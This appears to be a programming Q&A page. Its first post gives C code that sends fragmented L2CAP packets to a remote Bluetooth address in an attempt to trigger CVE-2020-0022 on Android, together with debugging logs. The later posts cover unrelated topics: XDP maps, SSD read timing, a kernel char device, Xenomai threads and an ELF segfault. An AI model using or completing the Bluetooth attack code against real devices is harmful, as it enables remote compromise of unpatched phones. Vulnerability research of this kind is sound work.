Sending GAP ACL L2CAP Data Packets - bluetooth

To give some background on this question, try to test the CVE-2020-0022.
Not sure how to trigger it in the end.
Wrote this code that sends fragmented ACL L2CAP Data packets, so maybe somebody finds it useful.
Before you should change the ACL MTU to desired i.e
hciconfig hci0 aclmtu 50:10
Below also try to change connection MTU, but I am not sure it work and if this is needed. Response from is not fragmented, was thinking aforementioned will achieve that.
You can see it on the screenshot:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <bluetooth/l2cap.h>
// Functions
void usage(void);
// MAIN PART
int main(int argc, char *argv[])
{
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 laddr, raddr;
struct hci_dev_info di;
char *buf, *remote_address = NULL;
char payload1[] = "\x00\x40\x00\x04\x01\x04\x01\x01";
char payload[] = "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58" \
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" \
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" \
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" \
"\x61\x62\x63\x64\x65\x66\x67\x68\x41\x42\x43\x44\x45\x46\x47\x48" \
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56";
int sock, c, i;
int l2_code;
int l2_ident;
int l2_hsize;
while ((c = getopt (argc, argv, "a:")) != -1)
{
switch (c)
{
case 'a':
remote_address = optarg;
break;
default:
usage();
break;
}
}
if(remote_address == NULL)
{
printf(">>> I need at least a remote btaddr...\n\n");
usage();
exit(EXIT_FAILURE);
}
// Get local device info
if(hci_devinfo(0, &di) < 0)
{
perror("HCI device info failed");
exit(EXIT_FAILURE);
}
printf("Local device %s\n", batostr(&di.bdaddr));
printf("Remote device %s\n", remote_address);
/* Construct local addr */
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
laddr.l2_psm = htobs(0x1001);
laddr.l2_cid = htobs(0x0040);
/* Construct remote addr */
memset(&raddr, 0, sizeof(raddr));
raddr.l2_family = AF_BLUETOOTH;
str2ba(remote_address, &raddr.l2_bdaddr);
/* Create a Bluetooth raw socket */
if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
/* ...and bind it to the local device */
bind(sock, (struct sockaddr *) &laddr, sizeof(laddr));
/* Let's try to connect */
if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
/* Init packet buffer */
if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE )) ) {
perror("malloc");
exit(EXIT_FAILURE);
}
/* Set L2CAP header properties */
cmd = (l2cap_cmd_hdr *) buf;
cmd->code = 0x04;
cmd->ident = 0x08;
cmd->len = htobs(8);
/* Copy payload after l2cap header */
memcpy((buf + L2CAP_CMD_HDR_SIZE), payload1, 8);
/* Throw the packet into the air */
if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 8, 0) <= 0)
{
perror("send");
}
printf("L2CAP packet2 was sent\n");
sleep(1);
/* Set L2CAP header properties */
cmd = (l2cap_cmd_hdr *) buf;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 0x01;
cmd->len = htobs(300);
/* Copy payload after l2cap header */
memcpy((buf + L2CAP_CMD_HDR_SIZE), payload, 302);
/* Throw the packet into the air */
if(send(sock, buf, L2CAP_CMD_HDR_SIZE + 302, 0) <= 0)
{
perror("send");
}
printf("L2CAP packet was sent\n");
sleep(1);
/* Disconnect */
close(sock);
return EXIT_SUCCESS;
}
// Print usage
void usage(void)
{
printf("blueborne -a <bdaddr>\n");
exit(EXIT_SUCCESS);
}
However, cannot trigger the bug.
Logs from the Mobile Bluetooth:
02-12 00:01:39.089 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:39.360 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:39.362 773 1049 W bt_hci_packet_fragmenter: fragment_and_dispatch fragment_and_dispatch
02-12 00:01:40.089 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch reassemble_and_dispatch
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch partial_packet->offset 54 packet->len 264 HCI_ACL_PREAMBLE_SIZE 4
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch projected_offset 314 partial_packet->len 314
02-12 00:01:40.092 773 1155 W bt_hci_packet_fragmenter: reassemble_and_dispatch memcpy packet->len 264 packet->offset 4 expr 260
To trigger it somehow the
projected_offset > partial_packet->len
As you can see, above it is not.
Thought, some tricky fragmenting would cause it ....
I am closing this question on my end.
Update 1:
Reopening ...
OK, I think I got it the condition
Below is Mobile (Android) Bluetooth subsystem log:
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch reassemble_and_dispatch
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch partial_packet->offset 21 packet->len 683
HCI_ACL_PREAMBLE_SIZE 4
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch projected_offset 700 partial_packet->len 209
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch got packet which would exceed expected length
of 209. Truncating.
02-12 22:33:26.928 2416 2461 W bt_hci_packet_fragmenter:
reassemble_and_dispatch memcpy packet->len 188 packet->offset 4 expr
184
02-12 22:33:26.929 2416 2460 W bt_hci_packet_fragmenter:
fragment_and_dispatch fragment_and_dispatch
Still working on crashing the process
Still waiting for an official Writeup and PoC from Authors .... in the mean time will publish if I figure it out further here:
https://github.com/marcinguy/CVE-2020-0022/blob/master/README.md

Related

Finding a specific packet, then filtering packets by a field in this packet

As part of my BPF learning, I'm attempting a simple (I think) challenge.
I want to filter out all packets that are not UDP and not dest port 1900, and for those which are UDP:
I take the first UDP packet that is received, take the first byte of the checksum of that packet, and from now on, accept only packets that are UDP and also have that exact same value in their first byte of checksum.
Here is my packet_handler.c:
#include <stdint.h>
#include <stdbool.h>
#include <arpa/inet.h>
#include <asm/byteorder.h>
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/pkt_cls.h>
#define SEC(NAME) __attribute__((section(NAME), used))
#define htons(x) ((__be16)__constant_swa16((x)))
struct bpf_map_def SEC("maps") my_map = {
.type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(uint8_t),
.value_size = sizeof(uint8_t),
.max_entries = 1,
};
SEC("pkt_handler")
int packet_handler(struct xdp_md *ctx) {
void *data = (void *)(long)ctx->data;
void *data_end = (void *)(long)ctx->data_end;
struct ethhdr *eth = (struct ethhdr *)data;
struct iphdr *iph = (struct iphdr *)(eth + 1);
struct udphdr *udph = (struct udphdr *)(iph + 1);
/* sanity check needed by the eBPF verifier */
if ((void *)(udph + 1) > data_end)
return XDP_DROP;
/* skip non UDP packets */
if (eth->h_proto != __constant_htons(ETH_P_IP) || iph->protocol != IPPROTO_UDP)
return XDP_DROP;
/* Skip non port 1900 */
if (ntohs(udph->dest) != 1900)
return XDP_DROP;
uint8_t key = 10;
uint8_t *val = bpf_map_lookup_elem(&my_map, &key);
if (!val) {
val = (uint8_t *)(iph + 7);
bpf_map_update_elem(&my_map, &key, &val, BPF_ANY);
} else {
if (*(uint8_t *)(iph + 7) != *val)
return XDP_DROP;
}
return XDP_PASS;
}
char _license[] SEC("license") = "GPL";
I compile it using:
sudo clang -I/usr/include/x86_64-linux-gnu -O2 -target bpf -c packet_handler.c -o packet_handler.o -w
And then I run it using:
sudo ip link set dev lo xdp obj packet_handler.o sec pkt_handler sec maps
I get this error:
Map object 'my_map' rejected: Invalid argument (22)!
- Type: 2
- Identifier: 0
- Pinning: 0
- Size key: 1
- Size value: 1
- Max elems: 1
- Flags: 0
Error loading maps into kernel!
Error fetching ELF ancillary data!
I read that iproute2 doesn't support bpf maps, but also read that this is not true anymore. I don't understand if that it the problem or it is something else.

Time to read data in Linux is different in formatted disk and Disk with deleted data

Trying read calls on disks using read() command on 2 different kind of disks:
ssize_t read(int fd, void *buf, size_t count);
http://man7.org/linux/man-pages/man2/read.2.html
Newly Formatted Disk
Disk where data was inserted and Deleted
Environment:
Disk Size: 500 GB
Disk Type: SSD
OS: Ubuntu 18.04.3
File System: ext4
Avg Read Time for Formatted Disk (in microseconds): 127.11
Avg Read Time for Disk (Data was inserted and deleted) (in microseconds): 514.76
Script for above:
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#define BLOCKSIZE 512
#define TIMEOUT 30
int count;
time_t start;
long total_seek_time = 0, total_read_time = 0;
int unread_complete_block_count = 0;
void done()
{
time_t end;
time(&end);
if (end < start + TIMEOUT)
{
printf(".");
alarm(1);
return;
}
if (count)
{
printf(".\nResults: %d seeks/second, %.2f ms random access time\n",
count / TIMEOUT, 1000.0 * TIMEOUT / count);
printf("Total seek time: %ld, Avg seek time: %.2f\n", total_seek_time, 1.0 * total_seek_time / count);
printf("Total read time: %ld, Avg read time: %.2f\n", total_read_time, 1.0 * total_read_time / count);
printf("Unread Complete Block Count: %d\n", unread_complete_block_count);
}
exit(EXIT_SUCCESS);
}
void handle(const char *string, int error)
{
if (error)
{
perror(string);
exit(EXIT_FAILURE);
}
}
long getMicrotime()
{
struct timeval currentTime;
gettimeofday(&currentTime, NULL);
return currentTime.tv_sec * (int)1e6 + currentTime.tv_usec;
}
int main(int argc, char **argv)
{
char buffer[BLOCKSIZE];
int fd, retval;
unsigned long numblocks;
off64_t offset;
long seek_start, seek_end, read_start, read_end;
int buf_ret_val = setvbuf(stdout, NULL, _IONBF, 0);
if (buf_ret_val == 0)
{
printf("Buffer successfully allocated\n");
}
else
{
printf("Unable to allocate buffer. Error code, %d\n", buf_ret_val);
exit(EXIT_FAILURE);
}
printf("Seeker v2.0, 2007-01-15, "
"http://www.linuxinsight.com/how_fast_is_your_disk.html\n");
if (argc != 2)
{
printf("Usage: seeker <raw disk device>\n");
exit(EXIT_SUCCESS);
}
fd = open(argv[1], O_RDONLY);
printf("File Descriptor: %d\n", fd);
handle("open", fd < 0);
printf("Device size in sectors: %u\n", BLKGETSIZE);
printf("Device size in bytes: %lu\n", BLKGETSIZE64);
retval = ioctl(fd, BLKGETSIZE, &numblocks);
handle("ioctl", retval == -1);
printf("Benchmarking %s [%luMB], wait %d seconds", argv[1], numblocks / 2048, TIMEOUT);
time(&start);
srand(start);
signal(SIGALRM, &done);
alarm(1);
for (;;)
{
offset = (off64_t)numblocks * random() / RAND_MAX;
seek_start = getMicrotime();
retval = lseek64(fd, BLOCKSIZE * offset, SEEK_SET);
seek_end = getMicrotime();
handle("lseek64", retval == (off64_t)-1);
read_start = getMicrotime();
retval = read(fd, buffer, BLOCKSIZE);
read_end = getMicrotime();
handle("read", retval < 0);
long current_seek_time = seek_end - seek_start;
long current_read_time = read_end - read_start;
// printf("Current seek time (us): %ld\n", current_seek_time);
// printf("Current read time (us): %ld\n", current_read_time);
if (retval != BLOCKSIZE)
{
printf("Didn't read complete block");
unread_complete_block_count++;
}
total_seek_time += current_seek_time;
total_read_time += current_read_time;
count++;
}
}
Compile: gcc {name}.c
Run: ./a.out /dev/{sdx}
Need to understand why is it happening?
An empty SSD can "know" it's empty, after TRIM, so it's like reading a sparse file. Data has to go over the SATA bus, but (I think) not necessarily come from flash cells at all.
So yes it matters what you did to the block device. The flash remapping layer inside the SSD is firmware running on a fairly powerful microcontroller with lots of RAM.

Error in a simple character device module

I am trying to write a simple character device kernel module which allocates 100 bytes of memory in kernel space and has read, write and seek, which operates on the allocated 100 bytes of kernel memory. I have tried to echo the text "Hello World" into its corresponding device file, but get an "Invalid Argument" error and a warning on dmesg.
The device driver c file named "kernelbuffer.c"
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/init.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/proc_fs.h>
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/seq_file.h>
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */
static int major;
struct buffer_dev{
char data[100];
struct semaphore sem;
struct cdev cdev;
};
struct buffer_dev *buff_device;
static void buffer_open(struct inode *inode, struct file *filep){
struct buffer_dev *dev;
printk(KERN_NOTICE "Opening buffer.\n");
dev = container_of(inode->i_cdev, struct buffer_dev, cdev);
filep->private_data = dev;
printk(KERN_NOTICE "Buffer opened.\n");
return 0;
}
ssize_t buffer_read(struct file *filep, char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_NOTICE "Reading from buffer.\n");
struct buffer_dev *dev = filep->private_data;
ssize_t retval = 0;
if (down_interruptible(&dev->sem))
return -ERESTARTSYS;
if (*f_pos >= 100)
goto out;
if (*f_pos + count > 100)
count = 100 - *f_pos;
printk(KERN_NOTICE "First stage fine.\n");
if(copy_to_user(buf, dev->data + *f_pos, count)){
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;
out:
up(&dev->sem);
return retval;
}
ssize_t buffer_write(struct file *filep, char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_NOTICE "Writing to buffer.\n");
struct buffer_dev *dev = filep->private_data;
ssize_t retval = -ENOMEM; /* value used in "goto out" statements */
if (down_interruptible(&dev->sem))
return -ERESTARTSYS;
if (*f_pos >= 100)
goto out;
if (*f_pos + count > 100)
count = 100 - *f_pos;
if (copy_from_user(dev->data + *f_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
printk(KERN_NOTICE "Write success.\n");
*f_pos += count;
retval = count;
out:
up(&dev->sem);
return retval;
}
loff_t buffer_llseek(struct file *filp, loff_t off, int whence)
{
struct buffer_dev *dev = filp->private_data;
loff_t newpos;
switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;
case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;
case 2: /* SEEK_END */
newpos = 100 + off;
break;
default: /* can't happen */
return -EINVAL;
}
if (newpos < 0 || newpos >= 100) return -EINVAL;
filp->f_pos = newpos;
return newpos;
}
int buffer_release(struct inode *inode, struct file *filp)
{
return 0;
}
static struct file_operations buffer_fops = {
.owner = THIS_MODULE,
.llseek = buffer_llseek,
.read = buffer_read,
.write = buffer_write,
.open = buffer_open,
.release = buffer_release,
};
static void setup_cdev(struct buffer_dev *dev){
int err, devno = MKDEV(major, 0);
cdev_init(&dev->cdev, &buffer_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &buffer_fops;
err = cdev_add (&dev->cdev, devno, 1);
if (err)
printk(KERN_NOTICE "Error %d adding device\n", err);
}
void cleanup_module_buffer(void)
{
printk(KERN_NOTICE "Removing buffer device.\n");
dev_t devno = MKDEV(major, 0);
if(buff_device){
cdev_del(&buff_device->cdev);
kfree(buff_device);
}
unregister_chrdev_region(devno,1);
}
int module_init_buffer(void)
{
printk(KERN_NOTICE "Initializing buffer device.\n");
int result, i;
dev_t dev = 0;
result = alloc_chrdev_region(&dev, 0, 1,
"buffer");
major = MAJOR(dev);
if (result < 0) {
printk(KERN_WARNING "Can't get major %d\n", major);
return result;
}
buff_device = kmalloc(sizeof(struct buffer_dev), GFP_KERNEL);
if (!buff_device) {
result = -ENOMEM;
goto fail; /* Make this more graceful */
}
memset(buff_device, 0, sizeof(struct buffer_dev));
sema_init(&(buff_device->sem), 1);
setup_cdev(&buff_device);
return 0; /* succeed */
fail:
cleanup_module_buffer();
return result;
}
module_init(module_init_buffer);
module_exit(cleanup_module_buffer);
MODULE_AUTHOR("Gautam Ramakrishnan");
MODULE_LICENSE("GPL");
The makefile used to compile it is:
obj-m := kernelbuffer.o
KDIR := /lib/modules/$(shell uname -r)/build
all: $(MAKE) -C $(KDIR) M=$(shell pwd) modules
clean:
$(MAKE) -C $(KDIR) M=$(shell pwd) clean
$(RM) Module.markers modules.order
I successfully ran insmod on the kernelbuffer.ko file.
On running cat /proc/devices
it shows up with a major number of 247.
I then executed sudo mknod /dev/kbuffer c 247 0 to create the corresponding driver file.
On running echo "Hello World > /dev/kbuffer as a superuser, I get the reply bash: /dev/kbuffer: Invalid argument
On running dmesg, I get the following output:
[ 583.814364] Opening buffer.
[ 583.814367] Buffer opened.
[ 583.814369] ------------[ cut here ]------------
[ 583.814392] WARNING: CPU: 0 PID: 2673 at /build/linux-dcxD3m/linux-4.4.0/fs/namei.c:3206 path_openat+0xb19/0x1330()
[ 583.814393] Modules linked in: kernelbuffer(OE) nls_utf8 isofs vboxsf(OE) crct10dif_pclmul crc32_pclmul snd_intel8x0 snd_ac97_codec ac97_bus aesni_intel joydev aes_x86_64 snd_pcm lrw gf128mul snd_seq_midi glue_helper ablk_helper snd_seq_midi_event input_leds vboxvideo(OE) cryptd snd_rawmidi ttm snd_seq serio_raw snd_seq_device drm_kms_helper snd_timer drm snd soundcore fb_sys_fops syscopyarea sysfillrect 8250_fintek sysimgblt i2c_piix4 vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video
[ 583.814427] CPU: 0 PID: 2673 Comm: bash Tainted: G OE 4.4.0-31-generic #50-Ubuntu
[ 583.814429] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[ 583.814430] 0000000000000286 00000000c588cd8a ffff8800593ebcb8 ffffffff813f1143
[ 583.814433] 0000000000000000 ffffffff81cd8430 ffff8800593ebcf0 ffffffff81081102
[ 583.814435] ffff8800593ebdd0 0000000000008241 ffff8800593ebef4 00000000ffffffea
[ 583.814437] Call Trace:
[ 583.814442] [<ffffffff813f1143>] dump_stack+0x63/0x90
[ 583.814445] [<ffffffff81081102>] warn_slowpath_common+0x82/0xc0
[ 583.814447] [<ffffffff8108124a>] warn_slowpath_null+0x1a/0x20
[ 583.814449] [<ffffffff8121bfb9>] path_openat+0xb19/0x1330
[ 583.814452] [<ffffffff814f0a41>] ? copy_termios+0x71/0x80
[ 583.814455] [<ffffffff8121d9c1>] do_filp_open+0x91/0x100
[ 583.814457] [<ffffffff810ca961>] ? __raw_callee_save___pv_queued_spin_unlock+0x11/0x20
[ 583.814459] [<ffffffff8122b2d8>] ? __alloc_fd+0xc8/0x190
[ 583.814462] [<ffffffff8120c248>] do_sys_open+0x138/0x2a0
[ 583.814464] [<ffffffff81092230>] ? SyS_rt_sigaction+0xa0/0xd0
[ 583.814466] [<ffffffff8120c3ce>] SyS_open+0x1e/0x20
[ 583.814469] [<ffffffff8182db32>] entry_SYSCALL_64_fastpath+0x16/0x71
[ 583.814470] ---[ end trace ad5061abc2861b8c ]---
I have not been able to find any solution to this problem. Would be very helpful if anyone could provide a reason as to why my code does not work and any fixes, if possible.

xenomai xddp with std::thread

I need to perform RT to NRT communication on a Xenomai machine.
I'm actually able to compile and run the example proposed here
But if try to replace the pthreads with std::thread, as follows:
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <malloc.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <rtdk.h>
#include <rtdm/rtipc.h>
#include <iostream>
#include <thread>
#define XDDP_PORT_LABEL "xddp-demo"
static const char *msg[] = {
"Surfing With The Alien",
"Lords of Karma",
"Banana Mango",
"Psycho Monkey",
"Luminous Flesh Giants",
"Moroccan Sunset",
"Satch Boogie",
"Flying In A Blue Dream",
"Ride",
"Summer Song",
"Speed Of Light",
"Crystal Planet",
"Raspberry Jam Delta-V",
"Champagne?",
"Clouds Race Across The Sky",
"Engines Of Creation"
};
static void fail(const char *reason) {
perror(reason);
exit(EXIT_FAILURE);
}
void realtime_thread1() {
struct rtipc_port_label plabel;
struct sockaddr_ipc saddr;
char buf[128];
int ret, s;
/*
* Get a datagram socket to bind to the RT endpoint. Each
* endpoint is represented by a port number within the XDDP
* protocol namespace.
*/
s = socket(AF_RTIPC, SOCK_DGRAM, IPCPROTO_XDDP);
if (s < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
/*
* Set a port label. This name will be registered when
* binding, in addition to the port number (if given).
*/
strcpy(plabel.label, XDDP_PORT_LABEL);
ret = setsockopt(s, SOL_XDDP, XDDP_LABEL,
&plabel, sizeof(plabel));
if (ret)
fail("setsockopt");
/*
* Bind the socket to the port, to setup a proxy to channel
* traffic to/from the Linux domain. Assign that port a label,
* so that peers may use a descriptive information to locate
* it. For instance, the pseudo-device matching our RT
* endpoint will appear as
* /proc/xenomai/registry/rtipc/xddp/<XDDP_PORT_LABEL> in the
* Linux domain, once the socket is bound.
*
* saddr.sipc_port specifies the port number to use. If -1 is
* passed, the XDDP driver will auto-select an idle port.
*/
memset(&saddr, 0, sizeof(saddr));
saddr.sipc_family = AF_RTIPC;
saddr.sipc_port = -1;
ret = bind(s, (struct sockaddr *)&saddr, sizeof(saddr));
if (ret)
fail("bind");
for (;;) {
/* Get packets relayed by the regular thread */
ret = recvfrom(s, buf, sizeof(buf), 0, NULL, 0);
if (ret <= 0)
fail("recvfrom");
rt_printf("%s: \"%.*s\" relayed by peer\n", __FUNCTION__, ret, buf);
}
}
void realtime_thread2() {
struct rtipc_port_label plabel;
struct sockaddr_ipc saddr;
int ret, s, n = 0, len;
struct timespec ts;
struct timeval tv;
socklen_t addrlen;
s = socket(AF_RTIPC, SOCK_DGRAM, IPCPROTO_XDDP);
if (s < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
/*
* Set the socket timeout; it will apply when attempting to
* connect to a labeled port, and to recvfrom() calls. The
* following setup tells the XDDP driver to wait for at most
* one second until a socket is bound to a port using the same
* label, or return with a timeout error.
*/
tv.tv_sec = 1;
tv.tv_usec = 0;
ret = setsockopt(s, SOL_SOCKET, SO_RCVTIMEO,
&tv, sizeof(tv));
if (ret)
fail("setsockopt");
/*
* Set a port label. This name will be used to find the peer
* when connecting, instead of the port number.
*/
strcpy(plabel.label, XDDP_PORT_LABEL);
ret = setsockopt(s, SOL_XDDP, XDDP_LABEL,
&plabel, sizeof(plabel));
if (ret)
fail("setsockopt");
memset(&saddr, 0, sizeof(saddr));
saddr.sipc_family = AF_RTIPC;
saddr.sipc_port = -1; /* Tell XDDP to search by label. */
ret = connect(s, (struct sockaddr *)&saddr, sizeof(saddr));
if (ret)
fail("connect");
/*
* We succeeded in making the port our default destination
* address by using its label, but we don't know its actual
* port number yet. Use getpeername() to retrieve it.
*/
addrlen = sizeof(saddr);
ret = getpeername(s, (struct sockaddr *)&saddr, &addrlen);
if (ret || addrlen != sizeof(saddr))
fail("getpeername");
rt_printf("%s: NRT peer is reading from /dev/rtp%d\n",
__FUNCTION__, saddr.sipc_port);
for (;;) {
len = strlen(msg[n]);
/*
* Send a datagram to the NRT endpoint via the proxy.
* We may pass a NULL destination address, since the
* socket was successfully assigned the proper default
* address via connect(2).
*/
ret = sendto(s, msg[n], len, 0, NULL, 0);
if (ret != len)
fail("sendto");
rt_printf("%s: sent %d bytes, \"%.*s\"\n",
__FUNCTION__, ret, ret, msg[n]);
n = (n + 1) % (sizeof(msg) / sizeof(msg[0]));
/*
* We run in full real-time mode (i.e. primary mode),
* so we have to let the system breathe between two
* iterations.
*/
ts.tv_sec = 0;
ts.tv_nsec = 500000000; /* 500 ms */
clock_nanosleep(CLOCK_REALTIME, 0, &ts, NULL);
}
}
void regular_thread() {
char buf[128], *devname;
int fd, ret;
if (asprintf(&devname,
"/proc/xenomai/registry/rtipc/xddp/%s",
XDDP_PORT_LABEL) < 0)
fail("asprintf");
fd = open(devname, O_RDWR);
std::cout << "File descriptor regular thread: " << fd << std::endl;
free(devname);
if (fd < 0)
fail("open");
for (;;) {
/* Get the next message from realtime_thread2. */
ret = read(fd, buf, sizeof(buf));
if (ret <= 0)
fail("read");
/* Relay the message to realtime_thread1. */
ret = write(fd, buf, ret);
if (ret <= 0)
fail("write");
}
}
int main(int argc, char **argv) {
std::thread rt1(realtime_thread1);
std::thread rt2(realtime_thread2);
std::thread regth(regular_thread);
rt1.join();
rt2.join();
regth.join();
return 0;
}
I get a failure at the open function, which returns -1.
The reason why I want to use std::thread is that I need to implement the code in C++, and pthread does not understand member function. And I don't want to use global variables.
Also, I need to run the same code on a RT and NRT (without xenomai libraries) machine and I've already prepared the code for that (with conveniently placed #ifdef.
I've figured it out.
I need to wrap my binary with the posix skin of Xenomai.
In CMAKE:
set(xeno_cflags_params "--skin=posix" "--cflags")
execute_process(
COMMAND xeno-config ${xeno_cflags_params}
OUTPUT_VARIABLE xeno_cflags
OUTPUT_STRIP_TRAILING_WHITESPACE)
set(xeno_ldflags_params "--skin=posix" "--ldflags")
execute_process(
COMMAND xeno-config ${xeno_ldflags_params}
OUTPUT_VARIABLE xeno_ldflags
OUTPUT_STRIP_TRAILING_WHITESPACE)
# Compiler and linker options
set(CMAKE_C_FLAGS "${CMAKE_CXX_FLAGS} ${xeno_cflags}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${xeno_cflags}")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${xeno_ldflags}")
set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} ${xeno_ldflags}")

Reason for SIGSEGV

I have a sample application that I have created to understand an experiment with ELF binary format.
When I run it, it crashes after receiving SIGSEGV.
After attaching it with gdb and then running, I see that it crashes at the following line
(gdb) x/i 0x08054697
=> 0x8054697: mov %edx,0x80f8f5c
But, the destination address of this instruction is a valid address and this memory is mapped as writable.
(gdb) p/x *0x80f8f5c
$3 = 0x0
(gdb) si
Program received signal SIGSEGV, Segmentation fault.
0x08054697 in ?? ()
I am trying to understand why does this process receive SIGSEGV? What other things should I look for in order to figure out the reason.
Here is the output of readelf showing regions of virtual memory that are mapped.
Elf file type is EXEC (Executable file)
Entry point 0x8048e08
There are 13 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08047034 0x08047034 0x002a4 0x002a4 R E 0x1
INTERP 0x0001d4 0x080471d4 0x080471d4 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
DYNAMIC 0x0001e7 0x080471e7 0x080471e7 0x00060 0x00060 RW 0x1
LOAD 0x000000 0x08047000 0x08047000 0x01000 0x01000 R E 0x1
LOAD 0x001000 0x08048000 0x08048000 0xae948 0xae948 R E 0x1000
LOAD 0x0b06dc 0x080f86dc 0x080f86dc 0x015f8 0x07730 RW 0x1000
LOAD 0x0c52b8 0x081002b8 0x081002b8 0x00400 0x00400 R E 0x1
LOAD 0x0c56b8 0x081006b8 0x081006b8 0x00400 0x00400 R E 0x1
LOAD 0x0c5ab8 0x08100ab8 0x08100ab8 0x00400 0x00400 R E 0x1
NOTE 0x0010f4 0x080480f4 0x080480f4 0x00044 0x00044 R 0x4
TLS 0x0b06dc 0x080f86dc 0x080f86dc 0x00010 0x00030 R 0x4
GNU_STACK 0x001000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x0b06dc 0x080f86dc 0x080f86dc 0x00924 0x00924 R 0x1
Relevant instructions from the binary are
0x805467d: mov 0x64(%esp),%edx
0x8054681: mov 0x68(%esp),%ecx
0x8054685: mov %eax,0x80f9a44
0x805468a: lea 0x4(%ecx,%edx,4),%eax
